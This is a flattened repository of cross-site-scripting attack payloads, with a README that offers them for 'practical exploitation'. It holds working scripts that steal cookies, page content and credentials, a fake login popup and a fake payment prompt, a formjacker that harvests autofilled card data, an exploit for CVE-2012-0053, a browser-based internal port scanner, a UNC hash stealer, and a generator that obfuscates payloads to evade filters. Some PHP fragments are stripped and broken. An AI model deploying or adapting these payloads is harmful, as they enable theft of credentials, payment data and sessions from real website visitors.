├── unc_hashstealer.php ├── cookiestealer.php ├── apache_httponly_bypass.js ├── loginpage.php ├── contentstealer.php ├── README.md ├── paymentrequest.php ├── formsubmitter.php ├── recon.php ├── local_network_scan.php ├── formjacker.php └── generator.php /unc_hashstealer.php: -------------------------------------------------------------------------------- 1 | 8 | col = document.getElementsByTagName('a'); 9 | for( var i in col ){ 10 | el = col[i]; 11 | el.href = ''; 12 | } 13 | -------------------------------------------------------------------------------- /cookiestealer.php: -------------------------------------------------------------------------------- 1 | 8 | var url = "?c=" + encodeURIComponent(btoa(document.cookie)); 9 | f = document.createElement('iframe'); 10 | f.src = url; 11 | document.getElementsByTagName('body')[0].appendChild(f); 12 | 15 | -------------------------------------------------------------------------------- /apache_httponly_bypass.js: -------------------------------------------------------------------------------- 1 | // Exploit for CVE-2012-0053 2 | 3 | // Set megacookie 4 | for( var j=0; j<100; j++ ){ 5 | var c = "x"+j+"="; 6 | for( var i=0; i<500; i++ ){ 7 | c+='A'; 8 | } 9 | document.cookie = c; 10 | } 11 | 12 | x=new XMLHttpRequest(); 13 | x.onreadystatechange = function(){ 14 | if( x.readyState == 4 ){ 15 | var data = ''; 16 | 17 | // 400 == exploit worked 18 | if( x.status == 400 ){ 19 | aC = x.responseText.match(/
([\s\S]*)<\/pre>/gm)[0].split(';');
20 |       for( var i=0; i tag to pop up a modal dialog prompting for username and password which will send back creds to the same script
 4 | */
 5 | if( isset( $_GET["username"] ) ){
 6 | 	if( isset( $_SERVER['HTTP_REFERER'] ) ){
 7 | 		header( "Location: ".$_SERVER['HTTP_REFERER'] );
 8 | 	}else{
 9 | 		echo "";
10 | 	}
11 | 	exit;
12 | }
13 | header( "Content-type: text/javascript" );
14 | if( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] ){
15 |     $self = "https://";
16 | }else{
17 |     $self = "http://";
18 | }
19 | $self .= $_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME'];
20 | $html = "
21 | 
45 | 
46 |
47 |
48 |

Log in

49 |
50 |
51 |
52 |
53 |
"; 54 | $html = preg_replace( "/[\n\r]/", "", $html ); 55 | echo "window.onload=function(){\n"; 56 | echo " document.body.innerHTML += \"$html\";"; 57 | echo "}\n"; 58 | ?> 59 | -------------------------------------------------------------------------------- /contentstealer.php: -------------------------------------------------------------------------------- 1 | 18 | x=new XMLHttpRequest(); 19 | x.onreadystatechange = function(){ 20 | if( this.readyState == this.DONE ){ 21 | xsssendcontent(this.responseText); 22 | } 23 | } 24 | x.open('GET','' ); 25 | x.send(null) 26 | 31 | xsssendcontent(document.getElementById('').outerHTML); 32 | 38 | var content = ''; 39 | var col = document.getElementsByTagName(''); 40 | for( var i=0; i 45 | } 46 | 47 | function xsssendcontent(content){ 48 | document.getElementById('xss_content').value = content; 49 | document.getElementById('form_xss').submit(); 50 | } 51 | if( !document.getElementById('frame_xss') ){ 52 | frame = document.createElement('iframe'); 53 | frame.style='visibility: hidden;'; 54 | frame.name='frame_xss'; 55 | form = document.createElement('form'); 56 | form.action = '' 57 | form.target = 'frame_xss'; 58 | form.method='POST'; 59 | form.id = 'form_xss'; 60 | e = document.createElement('input'); 61 | e.type = 'hidden'; 62 | e.name = 'c'; 63 | e.id = 'xss_content'; 64 | form.appendChild(e); 65 | document.getElementsByTagName('body')[0].appendChild(frame); 66 | document.getElementsByTagName('body')[0].appendChild(form); 67 | } 68 | xssgetcontent(); 69 | 80 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # xss_payloads 2 | 3 | Payloads for practical exploitation of cross site scripting. 4 | 5 | ## Usage 6 | 7 | 1. Find XSS vuln in your app 8 | 2. Get PoC exploit: alert(1) etc 9 | 3. Host these payloads somewhere 10 | 4. Use vuln to pull one of these payloads into the app `` 11 | 5. Profit 12 | 13 | ## js vs php files 14 | 15 | Some of the files are plain JavaScript .js files, others are PHP scripts which serve JavaScript when rendered in order to do some more complex stuff. Make sure you have a PHP interpreter running on your web server of choice to get these to work `` 16 | 17 | ## Common Problems 18 | 19 | * You can't serve these over HTTP if your app is running on HTTPS. You'll need to serve them over HTTPS 20 | * If you're running these over HTTPS for actual exploitation rather than a PoC, you'll need a proper trusted TLS cert (Let's Encrypt CA, for example) otherwise victim's browsers won't fetch the files at all. If it's for a PoC you can just temporarily trust your self signed cert. 21 | * Hit F12 and view the debug console for any information about why a particular script might not work 22 | 23 | 24 | ## Generator 25 | 26 | `generator.php` is a tool which can help to load one of the below payloads or to inject a custom payload using various injection, execution and encoding options. 27 | 28 | ## Payloads 29 | 30 | ### apache_httponly_bypass.js 31 | 32 | Uses an excessively large cookie to exploit CVE-2012-0053 and extract HTTPOnly cookie values from the response. 33 | 34 | ### contentstealer.php 35 | 36 | Steal the content of the current page, a specific element or another page within the same origin as the exploited web app. 37 | 38 | ### cookiestealer.php 39 | 40 | Steal cookies from the site. 41 | 42 | ### formjacker.php 43 | 44 | Man-in-the-middle all forms on the current page and also exploit browser autofill functionality in order to steal personal information. 45 | 46 | ### formsubmitter.php 47 | 48 | Grab a page from somewhere within the same origin, fill in a form on it and then submit that form. 49 | 50 | ### local_network_scan.php 51 | 52 | Get the internal IP address of a victim and then have them do a TCP port scan of common ports on the /24 of that internal IP address. 53 | 54 | ### loginpage.php 55 | 56 | Pop up a login page which sends the entered credentials back to this URL. 57 | 58 | ### recon.php ### 59 | 60 | Passes back information about where it was executed: 61 | 62 | - page URL 63 | - script URL 64 | - user's IP address 65 | - Page content 66 | - Any non HttpOnly cookies present 67 | - User agent string 68 | 69 | And then logs it all into either a file or a database. Great for when a collaborator alert is generated asynchronously and you need more info about where execution is occuring. 70 | 71 | ### unc_hashstealer.php 72 | 73 | Fire up Responder.py on the same host as this script and then inject this payload. All links on the injected page will be turned into UNC paths to the same host. 74 | -------------------------------------------------------------------------------- /paymentrequest.php: -------------------------------------------------------------------------------- 1 | 50 | if(window.PaymentRequest) { 51 | 52 | // Use Payment Request API 53 | const supportedPaymentMethods = [ 54 | { 55 | supportedMethods: ['basic-card'] 56 | } 57 | ]; 58 | 59 | const paymentDetails = { 60 | total: { 61 | label: '', 62 | amount:{ 63 | currency: '', 64 | value: 65 | } 66 | } 67 | }; 68 | 69 | const options = {}; 70 | 71 | const request = new PaymentRequest( supportedPaymentMethods, paymentDetails, options ); 72 | 73 | promise = request.show() 74 | .then((paymentResponse) => { 75 | return paymentResponse.complete() 76 | .then(() => {; 77 | // Send payment response back to this URL 78 | url = '?data=' + btoa(JSON.stringify(paymentResponse)); 79 | i= new Image(); 80 | i.addEventListener('load', function(){ 81 | 82 | window.location = ''; 83 | 84 | alert("Payment received, thank you") 85 | 86 | },false); 87 | i.src = url; 88 | }); 89 | 90 | }).catch((err) => { 91 | console.log("Payment request failed"); 92 | }); 93 | } else { 94 | // Fallback to traditional checkout 95 | console.log("PaymentRequest API not supported in this browser"); 96 | } 97 | 110 | -------------------------------------------------------------------------------- /formsubmitter.php: -------------------------------------------------------------------------------- 1 | '; 57 | document.getElementById('xss_target').onload = ifload; 58 | frm.target = 'xss_target';\n"; 59 | echo "frm.onsubmit = ''\n"; 60 | if( isset( $_GET["action"] ) ){ 61 | echo " frm.action = '".$_GET["action"]."';\n"; 62 | } 63 | if( isset( $els ) ){ 64 | foreach( $els as $k => $v ){ 65 | echo " frm.elements.namedItem('$k').value = '$v';\n"; 66 | echo " console.log(frm.elements.namedItem('$k').value);\n"; 67 | } 68 | } 69 | echo " frm.submit(); 70 | } 71 | "; 72 | 73 | // Call function to get the page, pass function to process the form 74 | echo " 75 | g('/Home/Settings/MyProfile/tabid/62/userid/100417/Default.aspx');\n"; 76 | // g('".$_GET["url"]."');\n"; 77 | ?> 78 | 81 | -------------------------------------------------------------------------------- /recon.php: -------------------------------------------------------------------------------- 1 | 50 | 51 | // Send back 52 | function xssSendContent(content){ 53 | document.getElementById('info').value = content; 54 | window.onload = null; 55 | document.getElementById('form_xss').submit(); 56 | } 57 | function xssGatherInfo(){ 58 | 59 | var info = {}; 60 | 61 | // Current URL 62 | info.pageurl = document.location.href; 63 | 64 | // Contents of current page 65 | info.html = document.documentElement.outerHTML; 66 | 67 | // Any non HttpOnly cookies present 68 | info.cookies = document.cookies 69 | 70 | document.documentElement.innerHTML += 'A'; 71 | if( !document.getElementById('frame_xss') ){ 72 | frame = document.createElement('iframe'); 73 | frame.style='visibility: hidden;'; 74 | frame.name='frame_xss'; 75 | form = document.createElement('form'); 76 | form.action = '' 77 | 78 | form.target = 'frame_xss'; 79 | form.method='POST'; 80 | form.id = 'form_xss'; 81 | e = document.createElement('input'); 82 | e.type = 'hidden'; 83 | e.name = 'c'; 84 | e.id = 'info'; 85 | form.appendChild(e); 86 | body = document.getElementsByTagName('body') 87 | if( body.length = 0 ){ 88 | document.documentElement.appendChild(document.createElement('body')); 89 | body = document.getElementsByTagName('body') 90 | } 91 | body = body[0]; 92 | body.appendChild(frame); 93 | body.appendChild(form); 94 | } 95 | xssSendContent(btoa(JSON.stringify(info))); 96 | } 97 | window.onload = xssGatherInfo; 98 | 99 | scripturl = $url; 116 | 117 | // Referer 118 | $info->referer = $_SERVER['HTTP_REFERER']; 119 | 120 | // User's user agent 121 | $info->useragent = $_SERVER['HTTP_USER_AGENT']; 122 | 123 | // User's IP address 124 | $info->userip = $_SERVER['REMOTE_ADDR']; 125 | 126 | $info->method = $_SERVER['REQUEST_METHOD']; 127 | 128 | $info->logtime = date('Y-m-d H:i:s'); 129 | 130 | $aProperties = array( 'logtime', 'method', 'pageurl', 'scripturl', 'referer', 'cookies', 'useragent', 'userip', 'html' ); 131 | 132 | // Log this request 133 | if( $logging == 'file' ){ 134 | // File logging 135 | 136 | $str = ''; 137 | $str .= "\n\n===START XSS INFO===\n\n"; 138 | foreach( $aProperties as $prop ){ 139 | if( !property_exists( $info, $prop ) ) continue; 140 | $str .= $prop.": ".$info->{$prop}."\n"; 141 | } 142 | $str .= "\n\n===END XSS INFO===\n\n"; 143 | file_put_contents( $log_file, $str, FILE_APPEND ); 144 | }else{ 145 | // DB logging 146 | 147 | $db = new PDO("mysql:host={$db_host};dbname={$db_name};charset=utf8", $db_user, $db_pass); 148 | $present = ""; 149 | $markers = ""; 150 | $comma = ""; 151 | $data = array(); 152 | foreach( $aProperties as $prop ){ 153 | if( !property_exists( $info, $prop ) ) continue; 154 | $present .= $comma.' '.$prop; 155 | $markers .= $comma." ?"; 156 | $data[] = $info->{$prop}; 157 | $comma = ","; 158 | } 159 | $sql = "INSERT INTO log (".$present." ) VALUES (".$markers." )"; 160 | $stmt = $db->prepare($sql); 161 | $stmt->execute($data); 162 | } 163 | 164 | ?> 165 | -------------------------------------------------------------------------------- /local_network_scan.php: -------------------------------------------------------------------------------- 1 | 46 | 47 | function report( data ){ 48 | new Image().src = '?'+data; 49 | } 50 | 51 | 52 | function ports_callback( host, port, state, srcip ){ 53 | if( state == "closed" ) return; 54 | // console.log( host, port, state ); 55 | report( "openport=" + host + ":" + port + "&srcip=" + srcip ); 56 | } 57 | 58 | var AttackAPI = { 59 | version: '0.1', 60 | author: 'Petko Petkov (architect)', 61 | homepage: 'http://www.gnucitizen.org'}; 62 | 63 | AttackAPI.PortScanner = {}; 64 | AttackAPI.PortScanner.ports = '445,3389,80,443,3306,8080,1723,5900,1025,8888,199,1720,81,6001'.split(',') 65 | AttackAPI.PortScanner.port_index = 0; 66 | AttackAPI.PortScanner.host_num = 1; 67 | AttackAPI.PortScanner.src = ''; 68 | AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout, srcip ) { 69 | var timeout = (timeout == null)?100:timeout; 70 | var img = new Image(); 71 | // console.log( "Scanning " + target + ":" + port ); 72 | 73 | img.onerror = function () { 74 | if (!img) return; 75 | img = undefined; 76 | callback(target, port, 'open', srcip ); 77 | }; 78 | 79 | img.onload = img.onerror; 80 | img.src = 'http://' + target + ':' + port; 81 | 82 | setTimeout(function () { 83 | if (!img) return; 84 | img.src = 'http://localhost/icon.png'; 85 | img = undefined; 86 | callback(target, port, 'closed', srcip ); 87 | }, timeout); 88 | }; 89 | AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout) 90 | { 91 | var ports = (ports == null) ? AttackAPI.PortScanner.ports : ports; 92 | var timeout = (timeout == null)?100:timeout; 93 | for (index = 0; index < ports.length; index++) 94 | AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout, target ); 95 | }; 96 | 97 | // Scan a /24 around an IP 98 | AttackAPI.PortScanner.scanNetwork = function ( callback, target ) 99 | { 100 | if( target.toLowerCase() == 'udp' ) return; 101 | a = target.split('.'); 102 | AttackAPI.PortScanner.scanPort( callback, a[0]+'.'+a[1]+'.'+a[2]+'.'+AttackAPI.PortScanner.host_num, AttackAPI.PortScanner.ports[AttackAPI.PortScanner.port_index], 100, target ); 103 | AttackAPI.PortScanner.host_num++; 104 | if( AttackAPI.PortScanner.host_num >= 255 ){ 105 | AttackAPI.PortScanner.port_index++; 106 | if( AttackAPI.PortScanner.port_index >= AttackAPI.PortScanner.ports.length ){ 107 | report( "scancomplete&srcip=" + target ); 108 | return; 109 | } 110 | AttackAPI.PortScanner.host_num = 1; 111 | } 112 | setTimeout( function(){ 113 | AttackAPI.PortScanner.scanNetwork( callback, target ); 114 | }, 200 ); 115 | }; 116 | 117 | 118 | 119 | // NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23 120 | var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection; 121 | 122 | if (RTCPeerConnection) (function () { 123 | var rtc = new RTCPeerConnection({iceServers:[]}); 124 | if (1 || window.mozRTCPeerConnection) { // FF [and now Chrome!] needs a channel/stream to proceed 125 | rtc.createDataChannel('', {reliable:false}); 126 | }; 127 | 128 | rtc.onicecandidate = function (evt) { 129 | // convert the candidate to SDP so we can run it through our general parser 130 | // see https://twitter.com/lancestout/status/525796175425720320 for details 131 | if (evt.candidate) grepSDP("a="+evt.candidate.candidate); 132 | }; 133 | rtc.createOffer(function (offerDesc) { 134 | grepSDP(offerDesc.sdp); 135 | rtc.setLocalDescription(offerDesc); 136 | }, function (e) { console.warn("offer failed", e); }); 137 | 138 | 139 | var addrs = Object.create(null); 140 | addrs["0.0.0.0"] = false; 141 | function updateDisplay(newAddr) { 142 | if (newAddr in addrs) return; 143 | else addrs[newAddr] = true; 144 | var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); 145 | displayAddrs = displayAddrs.filter(function(ip){ return ip.toString().trim().toLowerCase() != 'udp';}); 146 | report( "internalips=" + displayAddrs.join(',') || 'n/a' ); 147 | AttackAPI.PortScanner.scanTarget( ports_callback, '127.0.0.1' ); 148 | for( i=0; i 45 | 46 | function xssFormJacker(){ 47 | 48 | // Get all forms on page 49 | forms = document.querySelectorAll('form'); 50 | Array.prototype.forEach.call( forms, form => { 51 | fields = form.querySelectorAll('input,select,textarea,button') 52 | 53 | // Get list of fields 54 | aFieldList = Array(); 55 | Array.prototype.forEach.call( fields, field => { 56 | aFieldList.push( field.name ); 57 | }); 58 | 59 | // Add extra hidden fields 60 | 61 | // text fields 62 | 'name,email,phone,organization,address,postal,city,county,state,cc_number,cc_cvv'.split(',').forEach(function(name){ 63 | if( aFieldList.includes( name ) ){ 64 | return; 65 | } 66 | d = document.createElement('div') 67 | d.style = 'left: -500px; position: absolute;' 68 | f = document.createElement('input'); 69 | f.type='text'; 70 | f.name = name; 71 | d.appendChild( f ); 72 | form.appendChild( d ); 73 | }); 74 | 75 | // Select boxes 76 | 'country,cc_month,cc_year'.split(',').forEach(function(name){ 77 | if( aFieldList.includes( name ) ){ 78 | return; 79 | } 80 | d = document.createElement('div') 81 | d.style = 'left: -500px; position: absolute;' 82 | f = document.createElement('select'); 83 | f.name = name; 84 | 85 | switch( name ){ 86 | case 'country': 87 | f.innerHTML = ''; 88 | break; 89 | 90 | case 'cc_month': 91 | f.innerHTML = ''; 92 | break; 93 | 94 | case 'cc_year': 95 | $i';\n"; 98 | } 99 | ?> 100 | break; 101 | } 102 | d.appendChild( f ); 103 | form.appendChild( d ); 104 | 105 | }); 106 | 107 | // Remember the original fields 108 | f = document.createElement('input') 109 | f.type = 'hidden'; 110 | f.name = 'origFieldList'; 111 | f.value = aFieldList.join(','); 112 | form.appendChild( f ); 113 | 114 | // Change the action URL 115 | f = document.createElement('input') 116 | f.type = 'hidden'; 117 | f.name = 'origActionUrl'; 118 | f.value = form.action; 119 | form.appendChild( f ); 120 | form.action = ''; 121 | }); 122 | } 123 | 124 | window.onload = xssFormJacker; 125 | 126 | prepare($sql); 146 | $stmt->execute($data); 147 | 148 | }else{ 149 | 150 | file_put_contents( $log_file, print_r( $data, true ), FILE_APPEND ); 151 | 152 | } 153 | 154 | // Build the form 155 | if( !empty( $_REQUEST['origActionUrl'] ) ){ 156 | echo ""; 157 | echo "
\n"; 158 | 159 | // Originally used fields 160 | if( !empty( $_REQUEST['origFieldList'] ) ){ 161 | $aFields = preg_split( '/,/', $_REQUEST['origFieldList'] ); 162 | foreach( $aFields as $f ){ 163 | if( isset( $_REQUEST[$f] ) ){ 164 | $v = $_REQUEST[$f]; 165 | echo "\n"; 166 | } 167 | 168 | } 169 | } 170 | echo "
\n"; 171 | echo "\n"; 172 | echo ""; 173 | }else{ 174 | header( 'Location: https://www.google.com' ); 175 | } 176 | } 177 | ?> 178 | -------------------------------------------------------------------------------- /generator.php: -------------------------------------------------------------------------------- 1 | "Load script ($.getScript())", 21 | "desc" => "Load an external script into the DOM using jQuery, if jQuery is already loaded into the DOM", 22 | "code" => "$.getScript(\"{url}\")", 23 | "fields" => "filepicker,url" 24 | ], 25 | [ 26 | "name" => "Load script (document.createElement())", 27 | "desc" => "Load an external script into the DOM using native document.createElement() methods", 28 | "code" => "e=document.createElement(\"script\");e.src=\"{url}\";document.body.appendChild(e);", 29 | "fields" => "filepicker,url" 30 | ], 31 | [ 32 | "name" => "Request URL (img)", 33 | "desc" => "Make a blind, cross-origin request to an arbitrary URL (tip: use a Burp collaborator URL)", 34 | "code" => "new Image().src=\"{url}\"", 35 | "fields" => "url" 36 | ], 37 | [ 38 | "name" => "Request URL (XHR)", 39 | "desc" => "Make a same-origin or CORS request to an arbitrary URL", 40 | "code" => "x=new XMLHttpRequest();x.open(\"GET\",\"{url}\");x.send()", 41 | "fields" => "url" 42 | ], 43 | [ 44 | "name" => "JavaScript code", 45 | "desc" => "Inject custom inline JavaScript code", 46 | "code" => "{js}", 47 | "fields" => "js" 48 | ] 49 | /* 50 | [ 51 | "name" => "Dropper (multiple scripts / automatic payload)", 52 | "desc" => "Load a set of scripts using this dropper to determine the best payload", 53 | "code" => "" 54 | ], 55 | */ 56 | ]; 57 | 58 | /* 59 | Obfuscation 60 | - None 61 | - base64 (btoa()) 62 | - reverse 63 | - String.fromCharCode() 64 | - character hex code 65 | */ 66 | $aObfuscation = [ 67 | [ 68 | "name" => "None", 69 | "desc" => "No obfuscation", 70 | "code" => "{payload}" 71 | ], 72 | [ 73 | "name" => "Pass as string", 74 | "desc" => "Pass the payload as a string into an execution method", 75 | "code" => "'{payload}'" 76 | ], 77 | [ 78 | "name" => "Base64 (atob())", 79 | "desc" => "Base64 encode", 80 | "code" => "atob('{payloadb64}')" 81 | ], 82 | [ 83 | "name" => "Reverse", 84 | "desc" => "Reverse payload string and execute using eval()", 85 | "code" => "'{payloadrev}'.split('').reverse().join('')" 86 | ], 87 | [ 88 | "name" => "String.fromCharCode()", 89 | "desc" => "Build payload string one char at a time using the ordinal value", 90 | "code" => "{payloadchr}" 91 | ], 92 | [ 93 | "name" => "Character hex codes", 94 | "desc" => "Construct the payload using hex value of each character", 95 | "code" => "'{payloadhex}'" 96 | ], 97 | [ 98 | "name" => "JSF*ck", 99 | "desc" => "Encode payload using only the characters []()!+", 100 | "code" => "{payloadjsf}" 101 | ] 102 | ]; 103 | 104 | $aExecution = [ 105 | [ 106 | "name" => "None", 107 | "desc" => "No execution required", 108 | "code" => "{obfuscated}" 109 | ], 110 | [ 111 | "name" => "eval()", 112 | "desc" => "Pass string to eval() function", 113 | "code" => "eval({obfuscated})" 114 | ], 115 | [ 116 | "name" => "window['eval']()", 117 | "desc" => "Slightly sneakier way of calling eval()", 118 | "code" => "window['eval']({obfuscated})" 119 | ], 120 | [ 121 | "name" => "window['\\x65\\x76\\x61\\x6c']()", 122 | "desc" => "Even sneakier way of calling eval()", 123 | "code" => "window['\\x65\\x76\\x61\\x6c']({obfuscated})" 124 | ], 125 | [ 126 | "name" => "Function()()", 127 | "desc" => "Declare and execute an anonymous function", 128 | "code" => "Function({obfuscated})()" 129 | ], 130 | [ 131 | "name" => "window['Function']()()", 132 | "desc" => "Slightly sneakier way of creating a new anonymous function", 133 | "code" => "window['Function']({obfsucated})()" 134 | ], 135 | [ 136 | "name" => "window['\\x46\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e']()()", 137 | "desc" => "Even sneakier way of creating a new anonymous function", 138 | "code" => "window['\\x46\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e']({obfuscated})()" 139 | ], 140 | [ 141 | "name" => "setTimeout()", 142 | "desc" => "Pass code string to the setTimeout() function", 143 | "code" => "setTimeout({obfuscated},0)" 144 | ], 145 | [ 146 | "name" => "window['setTimeout']()", 147 | "desc" => "Slightly sneakier way of calling the setTimeout() function", 148 | "code" => "window['setTimeout']({obfuscated},0)" 149 | ], 150 | [ 151 | "name" => "window['\\x73\\x65\\x74\\x54\\x69\\x6d\\x65\\x6f\\x75\\x74']()", 152 | "desc" => "Even sneakier way of calling the setTimeout() function", 153 | "code" => "window['\\x73\\x65\\x74\\x54\\x69\\x6d\\x65\\x6f\\x75\\x74']({obfuscated},0)" 154 | ] 155 | ]; 156 | 157 | /* 158 | Injection 159 | - Basic polyglot / inline script 160 | - 0xsobky - Ultimate XSS Polyglot 161 | - String variable escape 162 | - img element onerror 163 | - SVG element 164 | - Element onclick 165 | - Element onmouseover 166 | */ 167 | $aInjections = [ 168 | [ 169 | "name" => "Basic polyglot / inline script", 170 | "desc" => "Code execution using basic break-out technique", 171 | "code" => "'\">" 172 | ], 173 | [ 174 | "name" => "0xsobky - Ultimate XSS Polyglot", 175 | "desc" => "Long, very flexible payload good for blind injection and fuzzing", 176 | "code" => "jaVasCript:/*-/*`/*\`/*'/*\"/**/(/* */oNcliCk={payload} )//%0D%0A%0d%0a//\\x3csVg/\\x3e" 177 | ], 178 | [ 179 | "name" => "String variable escape", 180 | "desc" => "Break out from within a string in block of JavaScript", 181 | "code" => "\";//';\n{payload}" 182 | ], 183 | [ 184 | "name" => "img element onerror", 185 | "desc" => "Inject an invalid element with the payload within onerror", 186 | "code" => "" 187 | ], 188 | [ 189 | "name" => "SVG element", 190 | "desc" => "Inject an SVG element containing the payload within onload", 191 | "code" => "" 192 | ], 193 | [ 194 | "name" => "Element onclick", 195 | "desc" => "Break out of an element attribute and add an onclick event", 196 | "code" => "'\" onclick={payload} >" 197 | ], 198 | [ 199 | "name" => "Element onmouseover", 200 | "desc" => "Break out of an element attribute and add an onmouseover event", 201 | "code" => "'\" onmouseover={payload} >" 202 | ], 203 | [ 204 | "name" => "Custom element and event", 205 | "desc" => "Define an element and an event to execute the payload", 206 | "code" => "<{element}/{event}={payload} />", 207 | "fields" => "element,event" 208 | ] 209 | ]; 210 | 211 | $aElements = [ 212 | "a", 213 | "abbr", 214 | "acronym", 215 | "address", 216 | "applet", 217 | "area", 218 | "article", 219 | "aside", 220 | "audio", 221 | "b", 222 | "base", 223 | "basefont", 224 | "bdi", 225 | "bdo", 226 | "big", 227 | "blockquote", 228 | "body", 229 | "br", 230 | "button", 231 | "canvas", 232 | "caption", 233 | "center", 234 | "cite", 235 | "code", 236 | "col", 237 | "colgroup", 238 | "data", 239 | "datalist", 240 | "dd", 241 | "del", 242 | "details", 243 | "dfn", 244 | "dialog", 245 | "dir", 246 | "div", 247 | "dl", 248 | "dt", 249 | "em", 250 | "embed", 251 | "fieldset", 252 | "figcaption", 253 | "figure", 254 | "font", 255 | "footer", 256 | "form", 257 | "frame", 258 | "frameset", 259 | "h1 to h6", 260 | "head", 261 | "header", 262 | "hr", 263 | "html", 264 | "i", 265 | "iframe", 266 | "img", 267 | "input", 268 | "ins", 269 | "kbd", 270 | "label", 271 | "legend", 272 | "li", 273 | "link", 274 | "main", 275 | "map", 276 | "mark", 277 | "meta", 278 | "meter", 279 | "nav", 280 | "noframes", 281 | "noscript", 282 | "object", 283 | "ol", 284 | "optgroup", 285 | "option", 286 | "output", 287 | "p", 288 | "param", 289 | "picture", 290 | "pre", 291 | "progress", 292 | "q", 293 | "rp", 294 | "rt", 295 | "ruby", 296 | "s", 297 | "samp", 298 | "script", 299 | "section", 300 | "select", 301 | "small", 302 | "source", 303 | "span", 304 | "strike", 305 | "strong", 306 | "style", 307 | "sub", 308 | "summary", 309 | "sup", 310 | "svg", 311 | "table", 312 | "tbody", 313 | "td", 314 | "template", 315 | "textarea", 316 | "tfoot", 317 | "th", 318 | "thead", 319 | "time", 320 | "title", 321 | "tr", 322 | "track", 323 | "tt", 324 | "u", 325 | "ul", 326 | "var", 327 | "video", 328 | "wbr" 329 | ]; 330 | 331 | $aEvents = [ 332 | "onabort", 333 | "oncancel", 334 | "onblur", 335 | "oncanplay", 336 | "oncanplaythrough", 337 | "onchange", 338 | "onclick", 339 | "oncontextmenu", 340 | "ondblclick", 341 | "ondrag", 342 | "ondragend", 343 | "ondragenter", 344 | "ondragexit", 345 | "ondragleave", 346 | "ondragover", 347 | "ondragstart", 348 | "ondrop", 349 | "ondurationchange", 350 | "onemptied", 351 | "onended", 352 | "onerror", 353 | "onfocus", 354 | "onformchange", 355 | "onforminput", 356 | "oninput", 357 | "oninvalid", 358 | "onkeydown", 359 | "onkeypress", 360 | "onkeyup", 361 | "onload", 362 | "onloadeddata", 363 | "onloadedmetadata", 364 | "onloadstart", 365 | "onmousedown", 366 | "onmousemove", 367 | "onmouseout", 368 | "onmouseover", 369 | "onmouseup", 370 | "onmousewheel", 371 | "onpause", 372 | "onplay", 373 | "onplaying", 374 | "onprogress", 375 | "onratechange", 376 | "onreadystatechange", 377 | "onscroll", 378 | "onseeked", 379 | "onseeking", 380 | "onselect", 381 | "onshow", 382 | "onstalled", 383 | "onsubmit", 384 | "onsuspend", 385 | "ontimeupdate", 386 | "onvolumechange", 387 | "onwaiting" 388 | ]; 389 | 390 | // Character substitution 391 | // Encoding 392 | $aEncoding = [ 393 | [ 394 | "name"=>"JSON", 395 | "desc"=>"Encode for inclusion in a JSON string (escape double quotes)", 396 | "func"=>"str_replace", 397 | "args"=>['"','\"','[payload]'] 398 | ], 399 | [ 400 | "name"=>"JS Unicode", 401 | "desc"=>"Encode as JavaScript unicode escaped string", 402 | "func"=>"unicode_escape", 403 | "args"=>['[payload]'] 404 | ], 405 | [ 406 | "name"=>"JS Hex", 407 | "desc"=>"Encode as JavaScript hex escaped string", 408 | "func"=>"hex_escape", 409 | "args"=>['[payload]'] 410 | ], 411 | [ 412 | "name"=>"URL", 413 | "desc"=>"URL encode key characters", 414 | "func"=>"urlencode", 415 | "args"=>["[payload]"] 416 | ], 417 | [ 418 | "name"=>"SQL", 419 | "desc"=>"Escape strings for SQL statements", 420 | "func"=>"addslashes", 421 | "args"=>["[payload]"] 422 | ], 423 | [ 424 | "name"=>"HTML", 425 | "desc"=>"Encode HTML characters", 426 | "func"=>"htmlspecialchars", 427 | "args"=>["[payload]"] 428 | ], 429 | [ 430 | "name"=>"Base64", 431 | "desc"=>"Base 64 encode payload", 432 | "func"=>"base64_encode", 433 | "args"=>["[payload]"] 434 | ] 435 | ]; 436 | 437 | function unicode_escape( $payload ){ 438 | $rtn = ''; 439 | for ($i = 0; $i < strlen($payload); $i++) { 440 | $rtn .= '\\u' . str_pad(dechex(ord($payload[$i])), 4, '0', STR_PAD_LEFT); 441 | } 442 | return $rtn; 443 | } 444 | function hex_escape( $payload ){ 445 | return str_replace( '\\u00','\\x',unicode_escape( $payload ) ); 446 | } 447 | 448 | // JSFuck: http://www.jsfuck.com/ 449 | // JSFuck PHP port: https://github.com/Zaczero/jsfuck.php 450 | class JSFuck { 451 | 452 | private const MIN = 32; 453 | private const MAX = 126; 454 | private const USE_CHAR_CODE = 'USE_CHAR_CODE'; 455 | 456 | private const SIMPLE = [ 457 | 'false' => '![]', 458 | 'true' => '!![]', 459 | 'undefined' => '[][[]]', 460 | 'NaN' => '+[![]]', 461 | 'Infinity' => '+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])', 462 | ]; 463 | 464 | private const CONSTRUCTORS = [ 465 | 'Array' => '[]', 466 | 'Number' => '(+[])', 467 | 'String' => '([]+[])', 468 | 'Boolean' => '(![])', 469 | 'RegExp' => 'Function("return/"+false+"/")()', 470 | 'Function' => '[]["fill"]', 471 | ]; 472 | 473 | private $_MAPPING = [ 474 | 'a' => '(false+"")[1]', 475 | 'b' => '([]["entries"]()+"")[2]', 476 | 'c' => '([]["fill"]+"")[3]', 477 | 'd' => '(undefined+"")[2]', 478 | 'e' => '(true+"")[3]', 479 | 'f' => '(false+"")[0]', 480 | 'g' => '(false+[0]+String)[20]', 481 | 'h' => '(+(101))["to"+String["name"]](21)[1]', 482 | 'i' => '([false]+undefined)[10]', 483 | 'j' => '([]["entries"]()+"")[3]', 484 | 'k' => '(+(20))["to"+String["name"]](21)', 485 | 'l' => '(false+"")[2]', 486 | 'm' => '(Number+"")[11]', 487 | 'n' => '(undefined+"")[1]', 488 | 'o' => '(true+[]["fill"])[10]', 489 | 'p' => '(+(211))["to"+String["name"]](31)[1]', 490 | 'q' => '(+(212))["to"+String["name"]](31)[1]', 